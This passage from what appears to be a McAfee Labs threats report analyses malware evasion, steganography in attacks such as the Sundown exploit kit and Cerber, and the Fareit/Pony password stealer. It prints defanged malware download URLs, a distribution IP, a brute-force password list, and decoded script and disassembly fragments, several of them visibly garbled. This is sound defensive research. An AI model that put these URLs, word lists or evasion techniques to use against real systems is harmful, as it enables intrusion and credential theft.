- **Obfuscation**: Protects data, variables, and network communications. Randomizes names of variables or functions. Can be performed using XOR or any other encoding technique.

- **Environment checking**: Avoids analysis; malware detects tools or artefacts related to virtual environments.

- **Sandbox detection**: Malware performs disk checks to detect files or processes related to a sandbox.
The following statistics, from Virus Total and McAfee, are derived from samples known to contain sandbox evasion techniques.

Malware use many other techniques to evade detection. Detecting monitoring and Windows hooking (changing the behavior of internal Windows functions) are common. Escalating privileges is popular for disabling antimalware tools or performing other actions that require administrator privileges.
Authors of malware evasion techniques are now looking for ways to evade machine learning security techniques, which are growing in use by security vendors.

The security industry is developing new detection techniques based on machine learning, which can examine behavior and make a prediction whether an executable is malicious.

The security industry is highly interested in machine learning, as are attackers. In March, security researchers observed the first malware sample, Cerber ransomware, that evades detection based on machine learning. Cerber uses several files for each stage of infection, injecting them dynamically into running processes. The challenge for these attackers is that machine learning detects malicious files based on features and not on signatures. In this example, Cerber used a separate loader to inject the payload, instead of running a routine inside it. This technique allowed Cerber to run undetected by machine learning though not by traditional antimalware engines.

Another growing evasion technique is firmware infection, which we expect will be especially popular for attacking Internet of Things devices.

Inserting malicious code into firmware is a very effective way to avoid detection. Firmware malware can take control of many system components, including the keyboard, microphone, and file system. It cannot be detected by the operating system because the infection occurs in Ring -1, the deepest point in the kernel, where the malware enjoys many privileges and there are few security checks.
To detect this kind of threat and easily analyze firmware, McAfee Advanced Threat Research released the open-source tool Chipsec. You can check a whitelist to find if the firmware has been compromised with the following commands:

```
$ sudo chipsec util spi dump firmware.bin
```

Figure 30: Dumping firmware with the Chipsec framework.
Key Topics

Protecting against evasive malware

Learning about malware evasion techniques is the first step in a journey to better protect against evasive malware.

Building a security program to protect against evasive malware should be based on three foundational components.

- **People**: Security practitioners must be trained to properly respond to security incidents and to properly manage current security technology. Attackers commonly use social engineering to infect users. Without internal awareness and training, users will leave some windows open for attackers.

- **Process**: Clear structures and internal processes must be in place so that security practitioners can be effective. Security best practices (updates, backups, governance, intelligence, incident response plan, and more) are the keys to a powerful and effective security team.

- **Technology**: Technology supports the team and processes. It should be nurtured and enhanced so that it can adapt to new threats.

Actionable policies and procedures to protect against evasive malware

The most important defense against malware infections is users. Users must be aware of the risk of downloading and installing applications that come from potentially risky sources. Users must also learn that malware can be inadvertently downloaded while browsing.

Always keep web browsers and add-ons up to date and antimalware on endpoints and network gateways upgraded and updated to the latest versions.
Do not allow systems on the trusted network that are not distributed and certified by the corporate IT security group. Evasive malware can be easily disseminated by unprotected systems connected to the trusted network.

Evasive malware can hide inside legitimate software previously Trojanized by an attacker. To prevent a successful attack of this type, we highly recommended tightened software delivery and distribution mechanisms. It is always a good idea to have a central repository of corporate applications from which users can download approved software.

In instances where users are authorized to install applications that have not been previously validated by the IT security group, educate users to install only applications with trusted signatures from known vendors. It is very common for “harmless” applications offered online to have embedded evasive malware.

Avoid application downloads from non-web sources. The likelihood of downloading malware from Usenet groups, IRC channels, instant messaging clients, or peer-to-peer systems is very high. Links to websites in IRC and instant messages also frequently point to infected downloads.

Implement an educational program for phishing attack prevention. Malware is commonly distributed by phishing attacks.

Leverage threat intelligence feeds combined with antimalware technology. This combination will help speed up threat detection.

**Conclusion**

For malware to perform its malicious actions, it must remain undetected and stealthy. As security technology becomes more sophisticated, evasion techniques have also become more sophisticated. This competition has led to a robust underground market for the very best evasion technologies, including fully undetectable malware. Some of these services use evasion techniques that are unknown to the security industry.

Malware evasion techniques continue to evolve and are now deployed for use at just about any stage of an attack. Several campaigns use the same techniques to spread but also to avoid analysis and detection, as shown with Dridex and Locky. Old evasion tricks are still popular and effective by even the most well-known malware.

To protect against evasive malware, we must first understand it. We must study each breach to learn why the security technology did not stop the attack.

To learn how McAfee products can help protect against evasive malware, click here.
Steganography is the art and science of secret hiding. The term **steganography** is derived from the Greek words *stegos*, meaning “cover,” and *grafia*, meaning “writing.” Thus “covered writing.”

The concept of steganography is not new; it has been around for centuries. About 440 BCE, the Greek ruler Histiaeus employed an early version of steganography that involved shaving the head of a slave, tattooing a message on his scalp, waiting for the hair to regrow and hide the secret message, and then sending him to deliver the message. Recipients shaved his head again to uncover the message. Another Greek, Demaratus, wrote a message on the wooden backing for a wax tablet that the Persians planned to attack Sparta. He then covered the message with a fresh layer of wax. The seemingly blank tablet delivered the message. There are also stories of secret messages written in invisible ink or hidden in love letters. (The first character of each sentence can be used to spell a secret, for example.) Steganography was used by prisoners and soldiers during World War II because mail in Europe was carefully inspected.

**Steganography in the digital world**

Steganography can also be used to hide information in the digital world. To digitally hide a secret message, we need a wrapper or container as a host file. Wrappers can be images, audio tracks, video clips, or text files. The following images show how a text message can be hidden in a cover file with minimal change to the file and no visible change to the image.
Steganography, cryptography, watermarking

Steganography, cryptography, and watermarking are used to hide information. Cryptography hides a message using an encryption algorithm and sends it as cypher text. Steganography hides a secret message within a seemingly legitimate message. Watermarking is slightly different: It uses a signature to identify the origin and all copies are marked in the same way. These three methods are the most common for hiding information.

Steganography in cyberattacks

Malware constantly evolves to evade surveillance and detection. To avoid detection, some malware uses digital steganography to hide its malicious content within a seemingly innocent cover file. But that raises an obvious question: If malware must decrypt the hidden data, won’t an antimalware product simply detect the decryption routine?

Most antimalware signatures detect malicious content in the configuration file. With steganography, the configuration file is embedded in the cover file. Further, the resulting steganographic file may decrypt into main memory, further reducing the chance of detection. Finally, it is extremely difficult to detect the presence of hidden information such as a configuration file, binary update, or bot command inside steganographic files. Unfortunately, the use of steganography in cyberattacks is easy to implement and hard to detect.

The first known use of steganography in a cyberattack was in the Duqu malware, which surfaced in 2011. Duqu’s main purpose was to gather information from a victim’s system. Duqu encrypted and embedded the data into a JPEG file and sent it to its control server as an image file, thereby raising no suspicion. In 2014, researchers discovered that a variant of the Zeus banking Trojan (ZeusVM) used image steganography to hide commands it sent to infected systems. Later that year, we learned Lurk delivered additional malware using a steganographic technique. In case of Lurk, a white BMP image file contained an encrypted URL that downloaded a second payload once it had been decrypted. Recently, image steganography has been used by Stegoloader (also known as Gatak) and by different malvertising campaigns.
Digital steganography types
Digital steganography can be divided into text, image, audio, and video steganography. Text steganography is one of the earliest and most difficult to employ. It uses written natural language to conceal a secret message. Text steganography is challenging due to the lack of redundancy in text documents. Audio steganography transmits hidden information by modifying an audio signal in an imperceptible manner, and embedding the secret message as noise into an audio file at a frequency out of the range of human hearing. For example, spread spectrum steganography is often used to send hidden messages through radio waves. Similarly, in video steganography the secret message hides in the video stream.

Image steganography
The most common form of digital steganography uses images. To understand image-based steganography, we need to understand the concept of a digital image. Images are usually based on 8-bit or 24-bit color combinations. Each pixel typically consists of 8 bits (1 byte) for a black-and-white image; or 24 bits (3 bytes) for a color image, with one byte each for red, green, and blue (generally known as the RGB format). For example, RGB (218,150,149) means R = 11011010, G = 10010110, and B = 10010101.

We can divide image steganography into the following general domains:

- **Spatial domain technique**: We can hide secret data by direct manipulation on the pixel value of the cover image. Least significant bit-based steganography is one of the most popular and simplest spatial domain techniques.

- **Transform domain technique**: This technique is a more complex method of hiding data in an image because it involves the embedding of secret data in the frequency or transform of the cover image. The transform domain technique is also known as the frequency domain technique.
In the distortion technique, the secret data is embedded using signal distortion. This technique needs the information of the cover image on the decoder side because it checks the differences between the original cover image and the distorted cover image to extract the secret message.

Masking and filtering is another common steganography technique. It hides or masks the secret data over the cover image by modifying the brightness or luminance of some parts of the image.

How does an attacker hide a message in an image? We can understand the process of hiding by the spatial domain example given below:

A steganography-embedding algorithm is used to modify the image, changing the least significant bits to embed the letter “A” in three pixels of the color image. The changed least significant bits are visually imperceptible, yet they can be decrypted and used by malware once the image file is received on the victim’s system.

We can summarize the digital steganography process:

Modified bits in an image are visually imperceptible, yet they can be decrypted and used by malware once the image file is received on the victim’s system.
The hidden message and cover file are passed through the embedding algorithm to hide the message within the cover file. The resulting steganographic file is sent through a communications channel to the target system. Finally, the hidden message is extracted by applying an extraction algorithm to the steganographic file.

**How does steganography help exploit kits?**
Steganography is now used in several malvertising and exploit kit attacks. The Sundown exploit kit started to appear in 2015. At that time, it was not very advanced and seems to have stolen most of its code from the Angler, Nuclear, and RIG exploit kits. In October 2016, Sundown evolved and started making use of steganography.

**Recent variants of the Sundown exploit kit**
We can understand recent variants of the Sundown exploit kit with the following infection chain:

1. **User** visits compromised website or clean website with malware ads.
2. **Website or ad** sends user to exploit server.
3. **Exploit server** with landing page and image steganography to bypass AV products.
4. **Flash/IE** exploits and infects user.
5. **Payload** downloads payload.

A Sundown attack begins when a victim visits a compromised website or a clean website with malicious ads. The victim is automatically redirected to the exploit kit.

The following image shows network traffic in January in which victims were redirected toward the Sundown landing page. The page retrieved and downloaded PNG images.

![Figure 33: Steganography used in the Sundown infection chain.](image-url)
In most cases, the PNG file appears to be a white image:

![PNG file as white image](image1)

Figure 34: Viewing a downloaded malicious PNG file.

Even the hex view shows a PNG file with a proper PNG header:

![PNG file hex view](image2)

Figure 35: Viewing the hex of a downloaded malicious PNG file.

But this PNG file data is encoded and hides malicious code within it.

The Sundown kit landing page contains a decoding routine that unlocks the PNG file and extracts the malicious content. The landing page is heavily obfuscated.
The code loads the PNG file and has a URL that downloads a payload after successful exploitation. The decoding logic appears at the end of the script.
After successfully decoding the PNG, we see its output:

```html
<body>
<script>
    function hex(num, width) {
        var digits = "0123456789abcdef";
        var hex = digits.substr(num & 0x0f, 1);
        while(num > 0x0f) {
            num = num >>> 4;
            hex = digits.substr(num & 0x0f, 1) + hex;
        }
        var width = (width > width ? width : 0);
        while(hex.length < width) hex = "0" + hex;
        return hex;
    }
    function unix(u, k) {
        var uc = String.fromCharCode;
        var c = "\n", b = "\n", g = "\n", f = \f(0x20), g = f(0), v = f(0x22);
        var app = K + v + I + v + u + v + I + v + navigator.userAgent + v + g + g + g + g + g + g + g;
        app.length += 66 (app += g);
        for(var e = 0; e < app.length; e++) {
            b = hex(app.charCodeAt(e), 2);
            d = hex(app.charCodeAt(e + 1), 2);
            u += 1;
        }
    }
</script>
</body>
```

Further analysis of this exploit code decoded from the PNG image shows that it includes the exploit code targeting CVE-2015-2419, a vulnerability in the JavaScript handling of Internet Explorer. This exploit code also contains shellcode that will be executed after successfully exploiting the vulnerability.
This Sundown kit was found to be distributing Cerber ransomware from the IP address 93.190.143.82 with the help of steganography.

SHA256 hashes related to this analysis:

- **A5E991B647BC60A9323A214C71146F534D4195182C3C630B228 3BF1D3CEC8D6D**
- **EFB5308AA78FFD53E799F7411CC92A564219C27B15D630B6BFA EC674DF885923**
- **EEBDB8CDDB85ED59DB86207E37252406E21DB1762098A6293E A25762E555E75B**

### Cerber hides in .jpg file

The Cerber ransomware family is currently quite popular. The initial propagation vector is macro code embedded in a Microsoft document file.

![Figure 40: Shellcode to attack CVE-2015-2419.](image)

![Figure 41: When the victim opens a Cerber-infected document, it drops a malicious .vbs file, which executes using wscript.exe and downloads mhtr.jpg from a malicious website.](image)

![Figure 42: This network capture shows a request for mhtr.jpg.](image)
From offset 0x25c9 each byte is encrypted using an XOR byte key 0x73. The decryption process:

```
3E29E373707377377373738C8C7373
```

Figure 43: The downloaded mhtr.jpg (SHA256 hash: 8f14257937bd6d45c2455592614331ebb10078d8bfd9e6acf1b502ed609ef131) shows it is related to Zen Coding.

Figure 44: The header of mhtr.jpg.

Figure 45: A single XOR byte key is used to encrypt the executable file and is embedded using steganography at the offset 0x25c9.
The encrypted file’s payload is a Nullsoft installer file (SHA256 hash: 37397f8d8e4b3731749094d7b7cd2cf56cacb12dd69e0131f07dd78df6f262b) that is dropped in the %APPDATA% folder and used for ransomware activity.

Steganography used by Vawtrak, Zbot, Lurk, and Stegoloader

In early 2015, Vawtrak started using steganography to hide its settings in favicons. The malware downloads a favicon.ico file from a server hosted on TOR using the tor2web service. This favicon.ico image is the one displayed by browsers at the left side of a URL. Generally, each website contains a favicon.ico image, so security products seeing such requests would typically not test them for validity. Next, the malware extracts a least significant bit from each pixel and constructs a URL for downloading its configuration file.

One variant of the Zbot malware also uses steganography to hide its configuration data. This variant downloads a JPEG on the victim’s system. The configuration data hides inside this image. Later, the malware extracts the configuration data from the image and performs further malicious actions.

Lurk uses steganography to download other malware onto targeted systems. Instead of simply downloading and executing a malicious binary, Lurk first downloads a BMP image. It uses a least-significant-bit algorithm to embed encrypted URLs into the image file. It extracts the embedded URLs from the image file and then downloads additional malware.

Stegoloader installs malware on victims’ systems to steal sensitive information. On successful execution, Stegoloader downloads a PNG image from a legitimate website. It uses steganography to embed its main module’s code inside the downloaded PNG. The malware retrieves the hidden data by applying a steganographic extraction algorithm.

Data exfiltration and steganography

Data exfiltration, also known as data theft, is the unauthorized transfer of sensitive information from a computer or a server. In 2016, we saw attacks related to Magento, an online e-commerce platform. The attacks used image steganography to hide payment card details.
In general, Magento websites handle credit card information with a core content management system file, cc.php. Thus the obvious location for attackers to place malicious code on Magento sites is at [magento_root] /app/code/core/Mage/Payment/Model/Method/cc.php.

Generally, the malware inserts malicious code inside the prepareSave() method, but it might be present in any other method as well. After execution, the malicious code collects the payment card details and hides inside a local image file, such as a real product picture. Once done with the collection, the attacker simply downloads the image file (typical for an e-commerce website) and extracts the hidden data.

**Network steganography**

Network steganography is the latest type of digital steganography used by malware. This form is on the rise because attackers can send an unlimited amount of information through the network. Some malware authors use unused fields within the TCP/IP protocol header to hide data.

In some cases, malware hides its control server traffic within simple DNS and HTTP requests. The malware sends requests for nonexistent domains from a hardcoded DNS server that is the actual control server. The commands are embedded and obfuscated using a simple Base64-encoding technique within the DNS response.

We analyzed TeslaCrypt, which uses HTTP error messages to hide its communications and is downloaded through the Neutrino exploit kit.
Key Topics

In the comments section of the HTML page, which is Base64-encoded, we found "<!—c3VjY2Vzcw==—>", which decodes to the response "success."

Then the malware responds with the following encoded data, as shown in the next figure.

```
CMD&<GUID of Machine>&<Logged-in Username: System Name: Domain Name>&<Windows Version and Platform>&<AV product Info>&<Date and Time of Execution>
```

Figures 48–50: Malware response to a successful infection.
Key Topics

The decoded string has the following format:

```
<random ldap timestamp>#<>#<>#LOADER hxxp://103.*****.148/*****.exe#
```

Conclusion

Steganography will continue to become more popular. It is an old technique that is once again showing its effectiveness. Because steganography can often bypass antimalware detections, more threats will use this technique.

Policies and procedures

- Tighten software delivery and distribution mechanisms used to protect against insider threats. Maintain a central repository of trusted corporate applications where users can download approved software. Do not allow users to download software from unknown sources.

- With the help of image editing software, look for steganography markers such as slight color differences in images. Also, a large number of duplicate colors in an image could be an indicator of a steganographic attack.

- Control the use of steganographic software. The presence of steganography software on any corporate system should be prohibited unless specifically required for business purposes. Deploy this type of software only in a contained network segment.

- Install only applications with trusted signatures from trusted vendors.
Configure antimalware to detect binders. Antimalware software should be configured to identify the presence of binders where steganographic images could be contained.

If a steganographic attack is successful, a virtualized system architecture combined with proper network segmentation may help contain an outbreak because the secure and verifiable boot process used by virtualized systems and continuous network traffic monitoring helps isolate applications.

Monitor outbound traffic. Identify the presence of successful steganographic attacks by monitoring outbound traffic.

To learn how McAfee products can help protect against steganographic threats, click here.
The growing danger of Fareit, the password stealer

—RaviKant Tiwari and Yashashree Gund

We live in an era in which many people are developing increasingly dependent relationships with their personal electronic devices. This trend makes it more important than ever that we protect this connection from threats. Credentials are our primary method of security and have thus become a primary attack vector for cybercriminals intent on profiting from those relationships.

Unfortunately, human behavior is the weakest link in those relationships. Most people minimize the importance of good security hygiene. They do not take care when creating passwords, thereby exposing themselves to brute-force attacks. Even worse, they sometimes do not protect themselves at all by not setting or changing default passwords. This behavior gives rise to attacks such as the Mirai botnet, which we highlighted in the McAfee Labs Threats Report: April 2017.

Gradually, cloud computing is changing the way we use computers. It is increasingly common among consumers and businesses to store important information and services in the cloud. Yet we generally use the same credentialing scheme, subject to the same weaknesses in human behavior, to gain access to cloud-based information and services. And because the data and computing are centralized, the cloud has become an ever more attractive target for cybercriminals.

As we foresaw in the McAfee Labs 2017 Threats Prediction Report, malware that targets credential theft will become increasingly important until we develop a better approach to credentials.

Using password stealers for credential theft
Password stealers are used in the early stages of nearly all major advanced persistent threats. This type of malware adds economic value to the overall attack lifecycle. Lateral malware movement in networks is mainly dependent on credentials harvested by password stealers.

New password-stealing malware variants have enhanced their capabilities from grabbing banking credentials to Bitcoins and gaming currency. Fareit, also known as Pony, is one of the top malware families currently used for stealing passwords; it can snatch credentials from more than 100 applications, including email, FTP, instant messaging, VPN, web browsers, and many more.

The following graph shows the number of unique Fareit incident submissions received by McAfee Labs during the past three years.
Origin

Fareit was first discovered in 2011 by Microsoft. Fareit’s robustness and strong capabilities have made it the most popular password-stealing malware for more than five years.

The following graph shows unique Fareit detections from McAfee and Microsoft sources, ranging from 2011–2017.
Key Topics

The following heat map shows the intensity of distribution of Fareit control servers in Q1 2017.

### Fareit Control Server Heat Map

The earliest tracked version of Fareit was Version 1.7, which included most of the capabilities that the latest version, 2.2, possesses today.

Fareit (we will use Fareit and Pony interchangeably to reference this family of malware) is among the most successful password-stealing software ever developed. This success story has led to its use in almost all major cyberattacks whose intent is to steal sensitive information.

In this report, we will discuss the evolution of Fareit and its association with other malware across different platforms. We will also explain the likely use of this ageless malware in the US Democratic National Committee (DNC) attack last fall.

#### Infection vectors

Fareit spreads through mechanisms such as phishing/spam email, DNS poisoning, and exploit kits.

### Spam

The following diagram shows how spam campaigns distribute Fareit. The victim receives a malicious spam email containing a Word document, JavaScript, or archive file as an attachment. Once the user opens the attachment, Fareit infects the system. It then downloads additional malware based on its current campaign and sends stolen credentials to the control server.
DNS poisoning

In this technique, malware such as Rbrut gains router administration access through a brute-force attack. It then changes the primary DNS settings and redirects infected systems to rogue DNS servers.

The rogue DNS servers redirect users to malicious websites, which deliver Fareit.

Bot and control server architecture

Unlike most botnets, which are operated by specific groups and have centralized control servers, Pony can be purchased by any willing attacker on the dark web. The purchaser sets up a personal control server to start the attack process or purchases a control panel service hosted by another attacker. The purchased panel provides the stolen credential reports.

The Pony project is divided into three parts:

- **Pony Builder (PonyBuilder.exe):** A set of programs for creating the build-client “Pony Bot,” which is built using the masm32 compiler, included in the package.
- **Pony Bot:** A client that must be downloaded to target systems, to collect and send passwords to the control server.
- **A set of server-side PHP scripts:** Includes an administration panel and a script gate (gate.php), to which stolen passwords are sent.
**Pony Builder**: This tool allows attackers to create their own Pony Bot. They can specify the control server address to which stolen credentials and other stats will be sent by the bot.

![Diagram of the Pony Bot process]

Figure 52: Pony Builder source files.
**Key Topics**

Pony Bot: This is the program cybercriminals use to spread the malware client that steals passwords from victims. Pony Bot has several capabilities:

- Steal passwords
- Download and execute arbitrary malware
- Perform DDoS attacks
- Steal cryptocurrency wallets
- Steal FTP credentials

Pony Bot is mostly coded in assembly language and can be released in either DLL or EXE format. This provides Fareit with the flexibility to morph and serve a variety of purposes.

To collect passwords, Pony Bot uses a nonstandard approach. When the client starts, it automatically collects stolen passwords and necessary data for decryption into special container files called reports and transfers them to the server, where they are decrypted. Each report can contain dozens and even hundreds of passwords, as well as other supporting information.

The Pony Bot client does not contain any decryption algorithms, only simple functions for reading files and registry data. All password decryption is performed by the web server. This is not a resource-intensive operation because most of the encryption algorithms are trivial. A decryption server spends on average fewer than 10ms processing a report containing passwords.
Many campaign authors incorporate Fareit into their attack methodologies. For example, we saw the author of the Andromeda botnet (also known as Gamarue) refer to Fareit as the “titanic work of the author of miracle (Fareit Bot)” when someone asked him to create a password stealer for Andromeda. The Andromeda author demonstrated how to make Pony into a plug-in for the Andromeda botnet.

Pony variants have different purposes. We will discuss later how Pony was crafted for the DNC attack, packaging just code to steal user and FTP passwords.
**Inner workings**

The Fareit bot starts by executing anti-disassembly and anti-emulation techniques at the beginning of each module. It then initializes API addresses to carry out various operations. Fareit tries to impersonate a privileged process by acquiring the local user token of the account from which it is currently executing. This user is ignored in a brute-force procedure performed in a later stage. Next, Fareit decrypts the stored word list that it uses to brute force other available users on the victim’s system. Once the decryption is complete, it starts the ScanAndSend stealing routine in the current user’s context and sends all stolen credentials to the control server. After that, it runs the loader component of the bot to download and execute more malware, which may be part of its pay-per-install campaign.

Next, Fareit terminates its current impersonation and tries to impersonate other users on the victim’s system. To achieve this, Fareit attempts to login to the account using the “username: username” pair, the “username: lowercase username” pair, and finally the deciphered word list as the password for this username. Once the login is successful and the Fareit process is impersonating the logged-in user, it again executes ScanAndSend under the context of this additional user.

| samantha | rainbow | 112233 | nintendo | guitar | billga | tes | looking | scooby | joseph | genesis | forum | emmanue | cer | cassie | victory | password | 1234578 | sunshine | christ | 000000 | soccer | qwerty1 | friend | summer | 1234567 | merlin | phpb | 12345678 | jor | dan | saved | dexter | viper | winner | sparky | windows | 123abc | lucky | anthony | jesus | admin | hotdog | base | ball | password | dragon | trustno1 | jason | internet | batman | 123456 | single | apple |
| michelle | david | eminem | scooter | asdfasdf | sammy | baby | diamond | maxwell | 55555 | justin | james | chicken | daniellei | loveyou2 | prince | junior | 123321 | cocacola | helpmee | football1 | 11111111 | power | thunder | gateway | iloveyou! | football | tigger | corvet | teangel | killer | creative | 12345678 | google | zxcvbnm | startrek | ashley | cheesea | windows | 123abc | lucky | anthony | jesus | admin | hotdog | base | ball | password | dragon | trustno1 | jason | internet | batman | 123456 | single | apple |

Figure 56: A partial Word list for brute-force attacks on local usernames.
Fareit can steal credentials from a multitude of applications.

### Stealing behavior
Fareit tries to steal saved passwords from browsers. It also tries to steal stored account information such as server names, port numbers, login IDs, and passwords from the following FTP clients or cloud storage programs:

| 32-bit FTP | FFFTP | WS_FTP |
| 3D FTP     | FTP++  | Web Site Publisher |
| ALFTP      | FTP Client | WebDrive |
| BitKinex   | FTP Commander FTP | WinSCP |
| Blaze FTP  | FTP Control | Windows Commander |
| BulletProof FTP | FTP Explorer | Wise-FTP |
| ClassicFTP | FTP Navigator |  |
| Coffee Cup FTP | FTP Now |  |
| Core FTP   | FTP Rush |  |
| CuteFTP    | FTP Voyager |  |
| Direct FTP | Far FTP |  |
| Easy FTP   | FileZilla |  |
| ExpanDrive | FlashFxp |  |

### Fareit Execution Flow

1. **Start**
2. **Initialize**
   - Anti-reversing routines
   - Initialize API addresses
   - Privileged user account check
   - Brute-force attack on local users
3. **Find installed applications**
4. **Enumerate all local users**
5. **Scan and steal credentials**
6. **Encrypt report and send**
7. **Download and execute other malware**
8. **Self-delete**
Control panel: The Pony control panel enables the attacker to view and manage information sent by the bot.

The tabs perform the following functions:

- **Home**: General information about the ongoing work of the server.
- **List of FTP**: Download or clear the lists obtained by FTP/SFTP.
- **HTTP Passwords**: Download or clear the password list obtained by HTTP.
- **Others**: Download or clear the lists of received certificates.
- **Statistics**: Current numbers on the data collected. (Cleaning the FTP list resets the statistics report.)
- **Domains**: Add a backup domain grabber for the operational test for accessibility.
- **Logs**: See the critical-error-and-notification server.
- **Reports**: List of current passwords.
- **Management**: Server settings and account management.
- **Help**: Shows various functions provided by bot and control panel.
- **Log Out**: Exit from the admin panel.

Figure 57: The control panel has tabs to access different information and statistics collected by the Pony Bot.
The Pony control panel has administrator and user modes, allowing the Pony botnet to be delivered as a service.

Administrator mode can do everything: delete or add new users, change server settings (including the report encryption password), change privileges or passwords of other users, clear lists with passwords. There can be only one administrator.

Other users, depending on their privileges, can either view the data (user_view_only), or browse and clean the FTP/SFTP lists, reports, and logs. Users can also change their passwords. Users cannot see the functions available only to the administrator.

Figures 58–60: Other operating system and new stolen password-related stats on the control server.
Fareit report contents
Stolen credentials are contained in an encrypted report file. Each report also contains additional information:

- **OS**: Windows version.
- **IP**: Address of the sender.
- **HWID**: A unique user identifier that does not change. With this ID, you can find all the reports from a specific system.
- **Privileges**: Rights (user or admin) with which the Pony Bot process is started.
- **Architecture**: x86 and 32-/64-bit architecture of the CPU on which Pony.exe was launched.
- **Version**: Pony Bot client version.
In late 2011, Microsoft detected and named the new password stealer PWS: Win32/Fareit. We believe that Fareit was incomplete at that time and was probably in its testing phase of development.

Fareit has become more evasive and more sophisticated over time. It is now one of the most powerful password stealers.

### Evolution

**Evolution of Fareit, aka Pony**

<table>
<thead>
<tr>
<th>Year</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2011</td>
<td>Fareit starts Bitcoin mining</td>
</tr>
<tr>
<td>2012</td>
<td>First Fareit variant with credential-stealing and DDoS capability</td>
</tr>
<tr>
<td>2013</td>
<td>Fareit downloads Medfos, Nymaim, spreads through spam campaign</td>
</tr>
<tr>
<td>2014</td>
<td>Lock screen ransomware uses Fareit for credential theft</td>
</tr>
<tr>
<td>2015</td>
<td>Fareit credential-stealing module spotted with StegoLoader</td>
</tr>
<tr>
<td>2016</td>
<td>Fareit involvement in Grizzly Steppe Operation</td>
</tr>
<tr>
<td>2017</td>
<td>BHEK spreading Fareit with Zeus, FakeAV</td>
</tr>
<tr>
<td></td>
<td>Pony Loader 1.9 source code leak</td>
</tr>
<tr>
<td></td>
<td>Fareit spreads through DNS poisoning</td>
</tr>
<tr>
<td></td>
<td>Fareit spreads using W97, PowerShell, JavaScript, MHT</td>
</tr>
<tr>
<td></td>
<td>Many customised Pony Loader variants available, up to Pony Loader 2.2</td>
</tr>
</tbody>
</table>

Shortly after its discovery, Fareit V1.7 was offered for sale by its author on many underground forums. It was loaded with powerful features that led to quick growth.

Avoiding detection

As Fareit evolved, the malware’s author implemented many anti-disassembly and anti-debugging techniques to prevent easy analysis of the bot.

In addition to the basic detection-avoidance mechanisms implemented by Fareit’s author, individual owners can add packers such as ASProtect as well as custom packers to prevent detection by antimalware signatures.

Anti-Disassembly: The following is an example of an anti-disassembly technique that attempts to confuse a recursive traversal disassembly algorithm, which tries to follow the program control flow and disassemble instructions at a certain location.

In this snippet, the “jb” instruction transfers control to address 0x41062e. The disassembler assumes this location contains code and tries to disassemble it. An attacker sometimes places junk bytes that cannot be disassembled at this code location, causing the disassembly to fail.

The actual control transfer in the code takes place by the “push” and “retn” instructions at 0x00410625 and 0x0041062d, respectively.
**Key Topics**

**Anti-Emulation**: Fareit also employs anti-emulation to bypass many antimalware heuristic detection mechanisms. This technique consumes emulation cycles by entering large loops. The preceding loop executes until the number of milliseconds elapsed since the computer was started when divided by 10 does not give a remainder of 5. As the probability of getting 5 as a remainder is small, the loop will continue for a long period, thus stalling the execution.

**Packers**: We have seen samples using a unique stub generation (USG) crypter to encrypt the Pony Bot executable and further pack it with AsProtect and custom packers. (A custom packer can use many compilers to generate executables. Common compilers include Visual Basic and .Net.) We have also seen the Pony Bot executables compiled with the AutoIt script.

![Code Snippet]

**Figure 66**: We found the USG crypter for $45 for new users and $25 per month for renewals.
Key Topics

The DNC attack

The Democratic National Committee breach in 2016 in the United States has been attributed to a malware campaign known as Grizzly Steppe.

Grizzly Steppe targets government organizations, critical infrastructure companies, think tanks, political organizations, and corporations around the world. It uses tactics such as shortened URLs, spear phishing, lateral movement, and escalating privileges to infect systems and networks.

According to published reports, the Grizzly Steppe campaign ran in two phases. In 2015, it executed a spear phishing campaign to send malicious links redirecting to malware downloads. Then in 2016, it tricked people into changing passwords through fake lookalike domains. Credentials and other information (including emails) were stolen from victims’ systems and published in the public domain.

We found Fareit hashes in the indicators of compromise list published by the US government in its Grizzly Steppe report.

Fareit was likely used in conjunction with other techniques in the DNC attack to steal email, FTP, and other important credentials and used them to carry out further attacks.
We suspect that Fareit was also used to download APT threats such as Onion Duke and Vawtrak onto the victims’ systems to carry out further attacks. We found the following URLs for downloading and executing used by Fareit’s loader component:

- `hxpp://one2shoppee.com/system/logs/xtool.exe`
- `hxpp://insta.reduct.ru/system/logs/xtool.exe`
- `hxpp://editprod.waterfilter.in.ua/system/logs/xtool.exe`

In our analysis, we found that Fareit malware believed to be specific to the DNC attack was dropped by malicious Word documents. These files were spread through phishing email campaigns.

The following code shows credential-stealing subroutines or modules found in a Fareit sample likely used in the DNC attack. The number of credential-stealing modules is significantly lower in this sample than in most Fareit samples. The attackers may have concluded that some were irrelevant for this attack.

```
data:BB411634 off_411636 dd offset System_info_sub   _05000000 ; DBH AREA sub _05000100
  data:BB411608 dd offset Far_creds_sub   _05000000
  data:BB411609 dd offset TotalCommandersub   _05000200
  data:BB4116A2 dd offset OutFTP_sub   _05000500
  data:BB411646 dd offset FlashFTP FTP sub   _05000550
  data:BB411646 dd offset FileZilla_sub   _05000560
  data:BB411646 dd offset CoreFTP_sub   _05000560
  data:BB411646 dd offset SecureFTP sub   _05000560
  data:BB411650 dd offset WinSCP_sub   _05001200
  data:BB411650 dd offset Opera_sub   _05000900
  data:BB411650 dd offset Mozilla_sub   _05000920
  data:BB411650 dd offset Mozilla_sub   _05000920
  data:BB411650 dd offset Mozilla_sub   _05000920
  data:BB411650 dd offset InternetExplorer_sub   _05000950
  data:BB411660 dd offset Chrome_sub   _05000930
  data:BB411660 dd offset Chromium_sub   _05000960
  data:BB411676 dd offset ChromePlus_sub   _05000990
  data:BB411679 dd offset RDP_sub   _05000990
  data:BB41167C dd offset WindowsLiveMail_sub   _05002400
  data:BB411682 dd offset WindowsMail_sub   _05002450
  data:BB411690 dd offset Outlook_sub   _05000560
  data:BB41168E dd offset Thunderbird_sub   _05000800
```

Figure 67: Hardcoded addresses of credential-stealing modules from a Fareit sample likely used in the DNC attack.
### Key Topics

#### Figure 68: Credential-stealing modules generally found in the wild.

<table>
<thead>
<tr>
<th>Function Address</th>
<th>Description</th>
</tr>
</thead>
</table>
| ...
| ...
| ...

#### Figure 69: This code calls all the credential-stealing subroutines shown in Figure 63. This code is not specific to the Fareit sample likely used in the DNC attack but is common in other Fareit samples.

```c
int _unecall_sub_A06504(int atcebp, int a2[6])
{
    int u5;  // eax
t int u5;  // eax
    int u5;  // [sp-8h] [bp-8h]J8
    int u6;  // [sp-4h] [bp-4h]I2

    Dword_R11605 = *(Dword *)(a1 + 8);
    u6 = *(Dword *)(a1 + 8);
    sub_H11604(u6, 0);
    if (off_R11603)
    {
        sub_H11604(u6, 0);
